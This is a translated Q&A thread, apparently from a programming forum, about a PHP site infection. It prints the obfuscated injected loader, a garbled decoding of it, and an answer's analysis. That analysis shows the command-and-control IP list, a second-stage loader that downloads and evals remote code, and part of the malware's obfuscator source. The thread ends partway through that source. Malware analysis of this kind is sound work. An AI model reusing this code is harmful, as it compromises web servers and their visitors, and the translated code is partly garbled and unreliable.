那些遇到过的问题

我的网站可能被黑了吗？

Roh*_*han 3 php security hosting

我在这里写这篇文章可能很疯狂,但我现在太害怕了.我在iPage上托管了2个网站.

我的网站上的所有PHP页面都在今天早上9点左右被修改,所有这些页面都有以下前缀

<?php /*db9fce8e7e3b4062309ef5d7c0193183_on*/ $TVSC95En77BPVJfUYlq9gaYajuT5lt9kfRNeNhsKeTp0tvLhH= array('1822','1839','1818','1829');$JN26Obrx7D= array('9042','9057','9044','9040','9059','9044','9038','9045','9060','9053','9042','9059','9048','9054','9053');$ENVOq0syj3C3itmE4ubWBPOxtQPQNixJVjoc9GAjz3dImpdg= array('1379','1378','1396','1382','1335','1333','1376','1381','1382','1380','1392','1381','1382');$cYNv2rhkPEonbobDnRYiA9pfFk4TZ4jFSW1K="ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBvVmpGc2JsTXdUa2RpVjFKWVRsZHdhMUl5ZURKWmJYYzFZa2RXU0dKSWNHdFRSVEYyVTFkMGEySkhVa1pOVjJocFZqQldjRk14VG5OT01HeEVVVzB4YTFaNlZuRmFSV1J6WkcxS2NGRnVVbWxOYkVwdFYxUkpOV1JWZEVSVmJXeHJWakZzZDFwVVRrOU5SMDV6VDFoQ2FtSldXak5aYTJSSFlXeHdWRm95YkZGU01IQXlWMnRvY2tzd2JIQmtNbXhSVWpCd01sZHJhSEpMTUd4d1pESjBXbUpzV25SVVJVNVRZVzFLZFZWdFdtaFJNbk16V1Zaa1dsb3dkRVJWYlhCcFlteEtiVmxWVGtKUFZrSlVVVmhvVEZVd1NUTlRhMlJMVFZad2NGRlViRXBUUlRSM1dUSjNOV05IVG5SV2JtUnBVakJhY1Zkc1RtNWhWa0pJVTI1YVlWTkhjM0pUVjJ3ellWWkNTRk51V21GVFIzTnlVMWRzUW1SVmJFbFVha0pxWWxkNE0xbDZTalJoUjAxNVlVZDRhbVZYWkhKWFJFWlBVbXhXYzFkcldsWmlTRTV3VjJwSk5XUnNjRVJUYlZKTVZUTmtjbGRYTlZkaVZYUlZZekprYW1KV1dYZGFSbWhMWkZWc1JGVnRiR3RXTVdzeldteG9UMDFIVG5OUFdFSnFZbFphTTFsclpFZGhiSEJVV2pKc1VWRjZiSEJaYWtwVFRsWkNjRk5ZVGtwaGJtUXlWMWN3TldFeVZsVk9SMnhOVVRGS2NGcEdaRnBqTUhCSVZHNVdhMUpxYkhaVE1WSXdZMFp3Y0ZGWE9VdFNNRFV4V2tWWk5XSXdiRVZOUkd4S1VrVldkMU5WYUhwaE1XeDFWbTB4U2xKRVFtNVplazVUWlZabmVXSkliR0ZYUlVwNlYxWmtUMkpGZEVSVFZHaE5UV3R3TWxkcmFISkxNR3h3WlVod2ExTkZjSGRaTUdoUFl6RnNXVlJ0T1dGWFJURjJVMnRaTlZaR1NsZFRiR1JUVm10d2FWTlhNV3RrYlVsNVZWZHNXVlV5ZERGVFYzQXpaR3hzZEU5WGRHeFdSRkp3VkVWT1UyRlhVbGhYV0VKUVpWVktOVmRzYUZOTlYwNTBUa2RrUzFJd2IzaFhiWEF3VDFkT2RGWnFRbXRYUlhBeFUxVk9VMkZYVWxoWFZHUnRWakZ2ZUZsdE1VOU5SMFpZVDFoV1NsSjZiRE5YVm1NeFkyMUdWRm95ZEZwaWJGcDBVekZvZW1FeGIzcGpSMXBoVlRCRk5WTlZaR0ZoUjBwSlZHMTRVR1ZXU25aWFJFb3pXakZDVkZGdE9XRldNRnB5VjJ4b1MyVnNaM2xsU0VKcVRURkdkbE14VWpCalJuQndVVmM1YUZaNlZtMVhWbWhMWlZac1dXRXlPVXBoTURVeVdXMDFVMkpIU25WVldGSlRWbnBXY1ZscVNsTmpSMHAwV1hwYVNsSXlVVEpaVm1oQ1lWVjRSRkZYZEdoU2FteDZVekZPY2xveVZqVlJWM1JoVFROQ2JWZHNUa0pQVld4SlZXNXNhMVl4VlROYWJHUnpZbFZzUkZveWRHRk5NMEp0VjJ4T2MwNHdjRWxWYmxKcVVqRndNVmRXWTNoaVJXeEZUVWRrYTFJeFdqQlpNR014WVVkS1ZGb3liRTFOTVVvd1dUQk9TbU13YkVSVGEyUlZUVVJvY0ZNeFVqQmlWMFpZWlVkNFdVMHdTWGhhUlZrMVlXMUplVTVVUW1GV2VsVjNXVE5zYm1FeVVraE5XR1JoWWxSV2IxbHNaRlpqTUd4RVZXMXNhMVl4YkhkVU0yeFRUbXh3UkZGVWJFcFNNbEV5V1dwT1EySkhTbkJhTW5SclVucEdNMWR0TURGaFIwcFlWbGhPU2xFd2NEVlRWMnh5VGpCd1NGUnVXbWxpYkVweldXMDFVMlZyYkVWTlIyUmhUVE5DTlZkc1pFZGhNSFJFVldwYVlWRXpaRzVVVmxKQ1pEQXhSVkZZWkU1U1JVWjNWRE5zVTJGdFNYbE9WRUpoVm5wVmQxa3piRUpQVld4SVRWaGFZVkpxYkhGWmFra3dZakJ3U0ZSdVdtbGliRXB6V1cwMVUyVnJkRlZrUnpWc1lsVTFlbGxxVGs5aVJYUkVWV3BhWVZFeWN6TmFSbU14WXpKR1dFNVlTa3hSTVVsM1dXeG9RMkpYU25SU2JsSmhWVEp6TTFOclpFOWtiVXAxVlcxNGFXSnNTalpUVlZGM1dqRnZlbU5IZUdsaVZUVXlWMnRrVm1Jd2NFaFVibHBwWW14S2MxbHROVk5sYTNSVlpFUnNTbEl4V25wWmVrcFdXakpXTlZWdGNHbE5hbFYzVjJ4ak1VMUhUalZSVkd4S1VucEdNbGRyV1RWaGJVbDVUa2M1UzFJd2IzaFhiV3h5VGpKYVZGVnVUbUZXZWxKdVZVWk9RMlZ0VWtsVGJrNWhWbnBTZGxOclpFOWtiVXAxVlcxNGFXSnNTalpUTVZJd1lqRndXRkp0ZEdGWFJXeDJVMWQwVDJSdFNuVlZiWGhwWW14R01GWkZaRmRrVm05NlZXMDVVR0ZWUm5CVVIyeFRZekZ3V0U1SVFsQk5NSEJ6V2tWb1YyVlhTbkJhTW5SYVRXcHNNVnBGWkZka1YxSkpWRmhDVUUxNlFtNVhiVFZYWkZacmVsVnVRbWxOYWxKdVZXcEtWMDFHVWxoU2JsSmFWVEprZDFwWWJGTmtSMGw2VlcwNVlWZEZiRzVWUms1Q1lWZFJlbHBFVGsxaGJYTXhWMWN4YzAxSFRqVk9WM0JwVFdwQ2NGUjZUa3RpUjFKSlZtNXNhV0ZWUm5KWmJHTTFUVWRHU0ZadWJGQk5la1l5VjFkM05XVnRVa2hTYm14clVUSmtjRmxxVGtOaFIwcDBaRWhDU21GWGN6TlhiVFZYWkZacmVsVnVRbWxOYWxKdVYxWmtiMkpYVWxoVmJURnBVakZ2TWxkclpHOWlWMFpKVkZjNVMxTkZTbTlUTVdoNllUSktXRkp1VWxwVk1FVTFVMVZXYTJKSFVrWk5WMmhwVmpCV2RsTXhVbnBoTVhCMFlraE9ZVlV3UlRWVFZXaFhaVmRLU0ZadVZscE5hbXh5VjJ4T2IxcHNaM2RYYTNCVlVsWmFiVmRJYkhKT01rWllWMWRrVEZJeWVEWlpla3BYVFVWMFJGVnRXbFpOUmxwVVZtMTBWMVV4WkRWVGEyeFhVbXhLVWxkRVFtOVZSbFY0VlZkc1dWVXlkSGRhV0d4VFlqSkplbFJxUWtwU1JFSnVVMnRaTlZaR1NsZFRiR1JUVm10d2FWTlhkRzlXVmxwSFVXMWFWRkpVYkZWV2EwNUxXa1U0ZWsxSFpHRldNMmcyVjJ4T1EwNHdjRWhoU0ZwcVRURkdibFZHVGtKaFZXeHhaRVJzYUZZeGJHNVRNR1J6WlcxTmVWWnFRa3hSTVVwdFZsUkNWMVV4V25KV2JFNVlaVlZ3VkZWc1ZYaFZSbHBHVm0xYVVsWldTa1pXVjJ4TFdrVjBWR0pFWkV0U01uZ3pVMVZSZDFvd2NFZFBWbEpUVm10d1dGVnNXa3RaYTJ4elUydGFWVlpVYkZaVmJGazFVV3hLUmxWc1RrcGlSRUV6V214T1EySkhTa2xVYlhoS1UwaE9jbGxXYUVKYU1VSlVVVmRzU21GdVVUVlpWbVJhV2pCMFNHSkljR3BOYkZsM1V6Qk9VMXBzVlhkV2JFNVhZVEZhVkZZemJFdFRWbHBIVld4R1dVMVZjRWRWYlhSWFZURktWMU5YYkZsVk1uUjNXbGhzVTJWV2NGaFhWMlJSVlRCSmVGa3lNVFJpUjBwMFZHNWFZVkl4Vm5aVGExazFWa1pLVjFOc1pGTldhM0JwVTFkMGIxWldXa2RSYlZwV1lURmFTRlZzV2t0U2JGWndVMjFTVEZaSVVUVlRWV1JYWXpKTmVWWlhaR3hsVmtvMVYyeGtXbG94UWxSUlYyeEtZVzVSTlZsV1pGcGFNSFJJWWtod2FrMXNXWGRUTUU1VFdteFZkMVpzVGxkaE1WcFVWak5zUzFOV1drZFZiRVpaVFZaYVZWVnNXa3RhYkVaV1drVmFWV0pHUm5CWFJrNXlZMGRXTlZWcVJscFZNRVUxVTFWb1YyVlhTa2hXYmxaYVRXcHNjbGRzVG05bGJWSkpVMnBDYVUxdWFESmFSRXBYWlZWMFJGVnRXbFpOUmxwVVZtMTBWMVV4WkRWVGEyeFhVbXhLVWxkRVJsZFdSa3BYVTIxYVVsWlhVa2RXUjNoU1lWWm9WR0V6UWxCTmVrSnVWMnhrTkdWc2NGUlJhbVJMVTBaYWIxTlZVWGRhTUd4d1UxUmtiVll5ZUhSVFZVNXZZMGROZWxSdGVHdFJNbVJ5VjBSR1QxSnNWbk5YYTFwV1lraE9jRlpXV2xkU2JGWnpZa2RhVmsxV1NsUlZNVlV4VTBWc2MwMUlRa3hYU0U1eVdURm9UbG94UWxSUmFrWnFZbGhvYzFsdE1VOWtiSEJJVmxjNVMxSnFiRlZWYkZwTFZqRktWMU50U2twaVJWcFhWV3hhUzFkc1ozaFViRlpXWVRKNFVGVnViRXRhUlhSVlpFUnNTbEl4V25wWmVrcFdXakpXTlZWdWFHcGxWVVUxVTFWT1NtRlZPSHBOUjNSclYwVndlbGRJY0VKYU1VSlVVVmRzYUZOR1NYZFpNRkoyWkd0NE5WTlhaRTFoVlVaeVdUQmtSazR3Y0VsV2JteHBVbXBvTkZOVlVYZGFNR3h3VDFoR1lWWXhTbmRVUnpWRFlqSk9SVTlVU21GWFJYQTJXVlpqTldSV1FsVlJWRlpRVmtWV2RGbHNZelZOUjBaSVZtNXNVVlV3Ykc1VVIyeFRaRVpzV0UxWGFFcFJlbEp1VTFkc1lXSlhSbGhsUjNoUlZUQnNibFJIYkVKaE1YQjBZa2hPWVZVd1JqRlRWVTVLWWxkR1NFOVljR3RTUkVKd1UxVk5NRm93Y0VoaFNGcHFUVEZHYmxSSGJFSmhWWEIwWWtoa1VWVXdiRzVVUjJ4Q1lUSkdXVkZYWkUxaFZVWndVMjAxUzJKR2NIRk5SMnhLVVhwU2JsTnJhRXRpUm5Cd1VWaFdTbEV3YkhSYVJtUkdUMVZzY0ZGWVZrdFRSbHB2VTFWTk1Gb3diSEJYYm1ocVpXcENjRk5WVFRCYU1IQkpVbTV3VUdWV1NYZFpNalZ5V2pGQ1ZGRnFRbXBpYkZwelZIcEtjMkpWZEVSUmJURnJWbnBXY1ZwRlpITmtiVXB6VDFkNGJGSXllRFphUldoT1lqQnNkRlJxUm1waVdHaHRXVlpqTVdOSFVrUlRXRUpLVVRKM00xTnJaRTlpTUd4RlRVZGtXazB4V2pWWmExazFZMGRLZEdKRVFreFJNVWw0V1RJeE5GcHJNVVJSV0ZaS1VURkplRmt5TVRSYWF6RlVZWHBrV2sweFdqVlphMWsxWld4d1dWVnVXbXBUUmtaMlUydGtUMkl3ZUVSUmExSlhWbXR3VGxaRVJrTldWbWQ0VTJ0YVYxSnNXbFJXUjNoVFZURkdWazVXVWxOaE1WcFVWRVZPUW1WRmRGVmtSM0JyVjBWd2VsZEVUazlpUjFKSVQxaGthMUV5WkhKWFZFcHVZekJzUmxSc1dsWmhNMmhSVmxWYVUxcHNXa1ppUlRWVFZsUnNWMVpyVGpOYU1ERTFZWHBrUzFOR1ducGFSVTVDVDFWc1NWVnViR2hXZWtKMlYxUk9WMlZYU2tkUFYzaHNVakZhY1ZNd1RsTmhiVVpFWVROQ1VHVldTWGRaTWpWeVdqRkNWRkZ0TVZwV00yZzJWMnhTTUU5VmJFaGlSekZLVVRKa2RsbFdZekZqUm1kNVdrZDRhMUV5WkhCWFZtUTBZekpKZWxwSFdtdFhSWEI2VjBSS1lXUnRUa2hXYmxaS1lWZDBkMU5WVGxwaVZXeEVWV3BDYW1KdGRIZFRWV2g2WVRKU1dHVkVRa3BTUkVKdVdrVm9TMk5IU2xSaFJVWmhZbGQ0ZWxkc1dUVmliSEJaVlcxYVdrMXFiREZhUldSWFpGZFNTVlJYT1V0VFJsbzFXV3RaTkdRd2JFUk9SMlJMVTBaYU5WbHJXVFJsUlhSVVlYcGtTMU5HU2pWYVZrNUNUMVZzU0ZkdGFHbFRSVFZ6VkhwTmVHTkdjSEJhTW5SclUwVnZNVk14YUhwaE1YQjFVVmRrVVZVd1NuUlpla2sxWVcxRmVVOVlaR0ZXZWxKMlUydG9RMkZGZUVSUlZGSk9VVE5rYmxOclpGZGxWMDUwVGxoYVRWRXdSbkpYYkdoTFpWZE5lbFZ1YkUxUk1FWTJWRlZPY2s0eVJsaFhWMlJNVVRGS2RGa3dUbkphTWxZMVZXNWFhMWRHUm01VlJrNUNZVlpKZDFac1ZrcFJNVWw0V1RJeE5GcHJNVlJSYTJ4WFVteEtVbFJJY0Vaa1ZURkhaVWhzV1ZKNlVuQlVNMnhUWkcxU1dWVlhaRTFoYWtKdVUxZDBiMlJ0VFhwVlZGcEtVVEZLTTFkV1dqUmxWbWhJVGtkc1VHVldTakphUm1oU1dqQjRjVTFIWkVwaE1EVXlXVzB3TVdKR2EzcFZia0pwVFdwUk1sTlZWazlqTWtsNlZHMTRXVk5GY0dwWmJYZzBaVlpvU0U1SGJGQk5iRzk2V1RJeGMwMUdjRlJhTW5SaFltdEdlbE5WVGxOa2JWSlpWVmhDVUdWV1NqVlhiR2hTV2pGQ1ZGRlhiRXBoYmxGNldWVmtjMk14Y0ZSUlZ6bEtWakZ3YzFscVNscGlNSEJJVjI1a1RGVXlkRzVhV0d4VFpWWndXVlZYWkVwUmVsRTFVMVZPUTJKV2IzbFdha0pxWlZka2NsZHROVUpqTUd4RlVsaHNVRkV5Y3pOYWJHUmhZVzFLU0U5WWNHRlZNbVJ5VjIwMVFtTkZPVFZWYWtacFUwWkdibFZHVGtOTlIwNTBZa2hTVEZORk5IaFhWelZQVFVkT2NGb3lkR3BpVmxsM1ZFVk9RMlZ0VWtsVGJtUnBUVEF4ZGxOcmFFdGlSMUpFWkRKa1NtSklhRFZYUldNeFdUSk9jMlZJVmtwaFYzUnVVek5zUWsxRmRGUmhlbVJ0VjBSQ2JsTlZaSE5pVld4RVlVaHdhMU5GY0ROWmFrNU9ZakJ3U1ZadVRtdFJNMlJ3VjJ4b1lXRkhTa1JUV0VKS1VUQlZOVlZHVGtOaVZteFlaVWh3WVZVeWR6TlRhMmgyV2pGQ1ZGRnVjR3RUUlhCM1dUQm9UMk14YkZsVWJUbGhWMFV4ZGxsNlRsTmxWbWQ2VTIxNGFsSXphRzlYVkVwV1lqQnNkRlpxU2xwV00yUndWRVZPU21GVmVFUlZha1pwVTBaR2QxTXhVbnBhTVhCWlYyMW9hVkV5WkhKYVYyeHlUakJzU0ZacVVtaFhSa1oyVXpGU01FOVhSbGhYVjJSTVUwVTBkMWt5TlVOa2JVNDFXakowYTFZelozZFVSVTVMWWtac2RFNVhhRXBoVjNSdVUxWlJkMDlWYkVoWGJXaHBVMFUxYzFNeGFIcGhNV2Q0Vkd0YVZtSkdjRWRXVjNoNllWWnZlVTlZV21GUk1IQnJVMVZSZDFveVRYcFZibXhaVFRCd2Mxa3daRFJoUm10NVZsYzVTbUpXV25CWmJURkdZVlY0UkZOWGJFMVJNVWw0V1d0b1VtTkZPSHBUYlhoclUwWmFOVmx0YkVOTlIwNTFWbTE0VUUxNlJuTlphMmhQWWtWc1NXUkliR0ZYUmtsNFdUSXdNRm94Y0hSU2JrNXFUV3hWTTFwc1ozZGhNWEIwVW1wQ2FGSXhXalZVVjNnd1drVnNSVTFIWkVwaGJVMHdWRWR3VWsxcmVIRlNWRTVPWlZSU05GUnJUa3BPTUhCSVYyMW9hMUl5YUhOWk1uQkxXV3hvVkZGVWJFcFJNR3cwVkc1d1dtUlZPVlJPU0d4T1ZrZGtNVlJXVW5KbFJXeHhZekowWVdKVldYZFpWV1JYWlZVeGMyUkhVa3BTUkVKdVUxZHdjbVZGZUhGVFdHeFFVWHBTTkZSc1VsSmtWVEZ4VmxSQ1NtRnVUbkpYYlRGSFRVZEdTRlp1YkU1aVNGSnJVMVZSZDFvd2JIRlplazVOWVcxa05GUkhjRXBOUlRGVVRraHNUMVpGTVhCVU0yeFRZbFpzV1ZWdE9XRlhSV3cxVm5wRmQxb3hRbFJSVjJ4T1ZrZGpkMVJIY0c1bFZYaHhVbGhvVDJWVVVqUlVWbEpDWVZVNU5WVnRNVnBYUmtwMlYyeG9TbVZXWTNoTlIyUlJWVEJHY0ZSclVscGtWVFZFVGtoc1RsSkZiREZVTVZKT1lWVTVOVlZ0TVZwWFJrcDJWMnhvU21WV1kzaE5SMlJSVlRCR2NGUnJVbHBrVlRGeFZWUldUV0ZzVlRCVVIzQkdaV3MxVkZOVVpFdFNNWEJ2V2tWa2IySkhUbkZUYlVwWlZUQkZOVk5WVGtwbFJUVTJWMWhXVUZWNlVqVlVhMUpHWkZVeFZWWllaRXBoYms1eVYyMHhSMDFIUmtoV2JteE9Za2hTYTFOVlVYZGFNR3h4VlZSS1RXRnJNSHBVUjNCR1RXczVWRTVFUms5aFZXc3pVMnRrWVdGSFVraGhSM2hxWVd0d2FWZEdUa0pQVld4RVUxUkNUMkZVVWpaVVZVMHdUVVV4VkU1RVZsQlZNR3N6VTJ0a1lXRkhVa2hoUjNocVlXdHdhVmRHVGtKUFZXeEVVMVJXVDFGNlVqVlVhMUpLWkZVeGNWWlVSazFoYXpCNFUxZHdlbUV4Y0hSU2FrSm9VakZhTlZSWGVEQmFSV3hGVFVka1NtRnJWWHBVTUUwd1pVVTFjVk5ZVms1V1JXc3hWRWR3U21WVk1UVlRWR1JMVWpGd2IxcEZaRzlpUjA1eFUyMUtXVlV3UlRWVFZVNUtUVEE1UkU1RVFrOWxWRkkwVkRCU1VtUlZNVFpVVjJ4UVpWWktkRmRXYUZOaU1YQlpVMWhzV0UxVVFtNVZSazVDWVZVeE5sSllWazVXUjJOM1ZFZHdTbVZyTlVST1JGWlBZVlZyTTFsNlNtOU5WbkIwVjI1T1lWVXlaSEpYYlRGSFRVZEdTRlp1YkU1aFYzTXpWMjB3TldWV2NGaFNiWEJvVVRKa2NsZHRNVWROUjBaSVZtNXNUbUZWU205Wk0yeENZVEpTV1ZOWVFteE5iWGgwVTFWT2Jsb3hiRmhoUnpGclZqRktkRmxyWkdGT2JIQklZVWN4YUZORk1YWlRhMmhYWlZWMFZGRllRa3BUU0U1dVYxYzFTMkpHYkZoak1tUlFUWHBGTlZwc1JUbFFVMGx3UzFSelp5SXBLVHNnIikpOyA=";if (!function_exists("IOvqWhUNav1vXbeu")){ function IOvqWhUNav1vXbeu($eylKbLsazo94Ea5Vhz79GggPPk0Fn4I8sTIuv1vU,$iPKwKwD9uDGAJlgUcL87){$pq3FLow69CrOdNpzhoTKUkk6q48236cZm5vXkSTkkbYoOdNW = '';foreach($eylKbLsazo94Ea5Vhz79GggPPk0Fn4I8sTIuv1vU as $vwdHH9YC8Qv5SkhOG4ZoO9){$pq3FLow69CrOdNpzhoTKUkk6q48236cZm5vXkSTkkbYoOdNW .= chr($vwdHH9YC8Qv5SkhOG4ZoO9 - $iPKwKwD9uDGAJlgUcL87);}return $pq3FLow69CrOdNpzhoTKUkk6q48236cZm5vXkSTkkbYoOdNW;}$NfcYRc72PjdDxDTcZ9Y6 = IOvqWhUNav1vXbeu($TVSC95En77BPVJfUYlq9gaYajuT5lt9kfRNeNhsKeTp0tvLhH,1721);$c6gts3vwnaRtcGbfD4VN7obA8 = IOvqWhUNav1vXbeu($JN26Obrx7D,8943);$n82mSuiYNAS8X68E = IOvqWhUNav1vXbeu($ENVOq0syj3C3itmE4ubWBPOxtQPQNixJVjoc9GAjz3dImpdg,1281);$TargEl = $c6gts3vwnaRtcGbfD4VN7obA8('$bigiJelZcd',$NfcYRc72PjdDxDTcZ9Y6.'('.$n82mSuiYNAS8X68E.'($bigiJelZcd));');$TargEl($cYNv2rhkPEonbobDnRYiA9pfFk4TZ4jFSW1K);} /*db9fce8e7e3b4062309ef5d7c0193183_off*/ ?>
Run Code Online (Sandbox Code Playgroud)

我试图获得iPage支持,他们不知道发生了什么.他们刚为我创建了一张支持票,将在48小时内查看!

UPDATE

收到有关黑客的电子邮件

来自:可怜的受害者hahahaha@gmail.com

消息:为什么我的服务器上有这个代码？你为什么乱砍我的文件??? 这段代码指向你!!! 准备诉讼

if(!function_exists("GetMama")){function mod_con($ buf){str_ireplace("","",$ buf,$ cnt_h); if($ cnt_h == 1){$ buf = str_ireplace("", "".stripslashes($ _ SERVER ["good"]),$ buf); 返回$ buf; } str_ireplace("","",$ buf,$ cnt_h); if($ cnt_h == 1){$ buf = str_ireplace("",stripslashes($ _ SERVER ["good"])."",$ buf) ; 返回$ buf; } return $ buf; } function opanki($ buf){$ gz_e = false; $ h_l = headers_list(); if(in_array("Content-Encoding:gzip",$ h_l)){$ gz_e = true; } if($ gz_e){$ tmpfname = tempnam("/ tmp","FOO"); file_put_contents($ tmpfname,$ buf); $ zd = gzopen($ tmpfname,"r"); $ contents = gzread($ zd,10000000); $ contents = mod_con($ contents); gzclose($ zd); unlink($ tmpfname); $ contents = gzencode($ contents); } else {$ contents = mod_con($ buf); } $ len = strlen($ contents); header("Content-Length:".$ len); return($ contents); 函数GetMama(){$ mother ="www.99bits.com";返回$ mother; } ob_start("opanki"); function ahfudflfzdhfhs($ pa){$ mama = GetMama(); $ file = urlencode(FILE); if(isset($ _ SERVER ["HTTP_HOST"])){$ host = $ _SERVER [ "HTTP_HOST"]; } else {$ host =""; } if(isset($ _ SERVER ["REMOTE_ADDR"])){$ ip = $ _SERVER ["REMOTE_ADDR"]; } else {$ ip =""; } if(isset($ _ SERVER ["HTTP_REFERER"])){$ ref = urlencode($ _ SERVER ["HTTP_REFERER"]); } else {$ ref =""; } if(isset($ _ SERVER ["HTTP_USER_AGENT"])){$ ua = urlencode(strtolower($ _ SERVER ["HTTP_USER_AGENT"])); } else {$ ua =""; } if(isset($ _ SERVER ["QUERY_STRING"])){$ qs = urlencode($ _ SERVER ["QUERY_STRING"]); } else {$ qs =""; } $ url_0 ="http://".$ pa; $ url_1 ="/ jedi.php？version = 0991&mother =".$ mama."&file =".$ file."&host =".$ host."&ip =".$ ip."&ref =".$ ref."&ua =".$ ua."&qs =".$ qs; $ try = true; if(function_exists("curl_init")){$ ch = curl_init($ url_0.$ url_1); curl_setopt($ ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ ch,CURLOPT_TIMEOUT,3); $ ult = trim(curl_exec($ ch)); $ try = false; } if((ini_get("allow_url_fopen"))&& $ try){$ ult = trim(@file_get_contents($ url_0.$ url_1)); $ try = false; } if($ try){$ fp = fsockopen($ pa,80,$ errno,$ errstr,30); if($ fp){$ out ="GET $ url_1 HTTP/1.0\r \n"; $ out .="主机:$ pa\r \n"; $ out.="连接:关闭\ r \n\r \n"; fwrite($ fp,$ out); $ ret =""; while(!feof ($ fp)){$ ret.= fgets($ fp,128); } fclose($ fp); $ ult = trim(substr($ ret,strpos($ ret,"\ r \n\r \n")+ 4)); if(strpos($ ult,"eval")!== false){$ z = stripslashes(str_replace("eval","",$ ult)); 的eval($ Z); 出口(); } if(strpos($ ult,"ebna")!== false){$ _SERVER ["good"] = str_replace("ebna","",$ ult); return true; } else {return false; $ father2 [] ="78.46.173.14"; $ father2 [] ="176.9.218.191"; $ father2 [] ="91.228.154.254"; $ father2 [] ="77.81.241.253"; $ father2 [] ="184.82.117.110"; $ father2 [] ="46.4.202.93"; $ father2 [] ="46.249.58.135"; $ father2 [] ="176.9.241.150"; $ father2 [] ="46.37.169.56" ; $ father2 [] ="46.30.41.99"; $ father2 [] ="94.242.255.35"; $ father2 [] ="178.162.129.223"; $ father2 [] ="78.47.184.33"; $ father2 [] = "31.184.234.96"; shuffle($ father2); foreach($ father2 as $ ur){if(ahfudflfzdhfhs($ ur)){break; }}}

发送自(IP地址):64.118.163.18(64.118.163.18)日期/时间:2012年4月9日下午7:15来自(推荐人):http://www.99bits.com/contact-us/ 使用(用户)代理):Mozilla/5.0(Macintosh; Intel Mac OS X 10_7_3)AppleWebKit/535.19(KHTML,像Gecko)Chrome/18.0.1025.151 Safari/535.19

感谢你们每个人的所有帮助和知识.由于一些奇怪和未知的原因,我的博客是这次黑客攻击的目标.我暂时关闭了博客,直到我可以清理所有文件(因为我的所有PHP文件都被感染了).

ste*_*ewe 7

在当前形式中,脚本具有以下命令和控制服务器("c&c"):

$father2[] = "78.46.173.14";
$father2[] = "176.9.218.191";
$father2[] = "91.228.154.254";
$father2[] = "77.81.241.253";
$father2[] = "184.82.117.110";
$father2[] = "46.4.202.93";
$father2[] = "46.249.58.135";
$father2[] = "176.9.241.150";
$father2[] = "46.37.169.56";
$father2[] = "46.30.41.99";
$father2[] = "94.242.255.35";
$father2[] = "178.162.129.223";
$father2[] = "78.47.184.33";
$father2[] = "31.184.234.96";
Run Code Online (Sandbox Code Playgroud)

该脚本在每次运行时随机化它们的顺序.然后它尝试发送包含这些变量的GET请求

$_SERVER["HTTP_HOST"]
$_SERVER["REMOTE_ADDR"]
$_SERVER["HTTP_REFERER"]
$_SERVER["HTTP_USER_AGENT"]
$_SERVER["QUERY_STRING"]
__FILE__
Run Code Online (Sandbox Code Playgroud)

到第一个c&c服务器,如果响应不包含eval或ebna(或服务器已关闭),它将尝试下一个c&c服务器,依此类推.

如果c&c服务器返回:ebna <somestring>,<somestring>将被放置在您网站的body标签内.所以黑客可以插入任意的html/js代码.

在c&c服务器返回的另一种情况下eval <somestring>,<somestring>将传递给eval().这样黑客甚至可以执行任意PHP代码.

我设法让c&c服务器通过省略所有url参数来返回eval响应,如下所示:http://<server-ip>/jedi.php,这是响应:

eval $try = true;
if (function_exists("curl_init")) {
    $ch = curl_init('http://2brewers.com/99.txt');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    $ult = trim(curl_exec($ch));
    $try = false;
}
if ((ini_get('allow_url_fopen')) && $try) {
    $ult = trim(@file_get_contents('http://2brewers.com/99.txt'));
    $try = false;
}
if ($try) {
    $fp = fsockopen('2brewers.com', 80, $errno, $errstr, 30);
    if ($fp) {
        $out = "GET /99.txt HTTP/1.0\r\n";
        $out. = "Host: 2brewers.com\r\n";
        $out. = "Connection: Close\r\n\r\n";
        fwrite($fp, $out);
        $ret = '';
        while (!feof($fp)) {
            $ret. = fgets($fp, 128);
        }
        fclose($fp);
        $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));
    }
}
$xx = 'ev'.'al';
$_FILE = create_function('$_', $xx.'($_);');
$_FILE($ult);
Run Code Online (Sandbox Code Playgroud)

加载和执行http://2brewers.com/99.txt,看起来像这样:

function get_file_extension($file_name) {
    return substr(strrchr($file_name, '.'), 1);
}

function pass_gen($dol) {
    $source[0] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $source[1] = "0123456789";
    $length = rand(5, 50);
    $passwordlen = intval($length) - 1;
    $use = implode("", $source);
    $max_num = strlen($use) - 1;
    $rp = '';
    for ($i = 0; $i < $passwordlen; $i++) {
        $x = rand(0, $max_num);
        $rp. = $use[$x];
    }
    if ($dol) {
        return '$'.$source[0][rand(0, strlen($source[0]) - 1)].$rp;
    } else {
        return $source[0][rand(0, strlen($source[0]) - 1)].$rp;

    }
}

function GetMass($text, $code, $massname) {
    $a = str_split($text);
    foreach($a as $b) {
        $evmas[] = ord($b) + $code;
    }
    $z = $massname."= array('".implode("','", $evmas)."');";
    return $z;
}


function Codee($code) {


    $coo = 'if (!function_exists("F1")){ function F1($v6,$v7){$v8 = \'\';foreach($v6 as $v9){$v8 .= chr($v9 - $v7);}return $v8;}$v1 = F1($mas1,$code1);$v2 = F1($mas2,$code2);$v3 = F1($mas3,$code3);$v4 = $v2(\'$v5\',$v1.\'(\'.$v3.\'($v5));\');$v4($v0);}';

    $f1 = pass_gen(false);
    $coo = str_replace('F1', $f1, $coo);
    $v1 = pass_gen(true);
    $coo = str_replace('$v1', $v1, $coo);
    $v2 = pass_gen(true);
    $coo = str_replace('$v2', $v2, $coo);
    $v3 = pass_gen(true);
    $coo = str_replace('$v3', $v3, $coo);
    $v4 = pass_gen(true);
    $coo = str_replace('$v4', $v4, $coo);
    $v5 = pass_gen(true);
    $coo = str_replace('$v5', $v5, $coo);
    $v6 = pass_gen(true);
    $coo = str_replace('$v6', $v6, $coo);
    $v7 = pass_gen(true);
    $coo = str_replace('$v7', $v7, $coo);
    $v8 = pass_gen(true);
    $coo = str_replace('$v8', $v8, $coo);
    $v9 = pass_gen(true);
    $coo = str_replace('$v9', $v9, $coo);
    $v0 = pass_gen(true);
    $coo = str_replace('$v0', $v0, $coo);
    $mas1 = pass_gen(true);
    $coo = str_replace('$mas1', $mas1, $coo);
    $mas2 = pass_gen(true);
    $coo = str_replace('$mas2', $mas2, $coo);
    $mas3 = pass_gen(true);
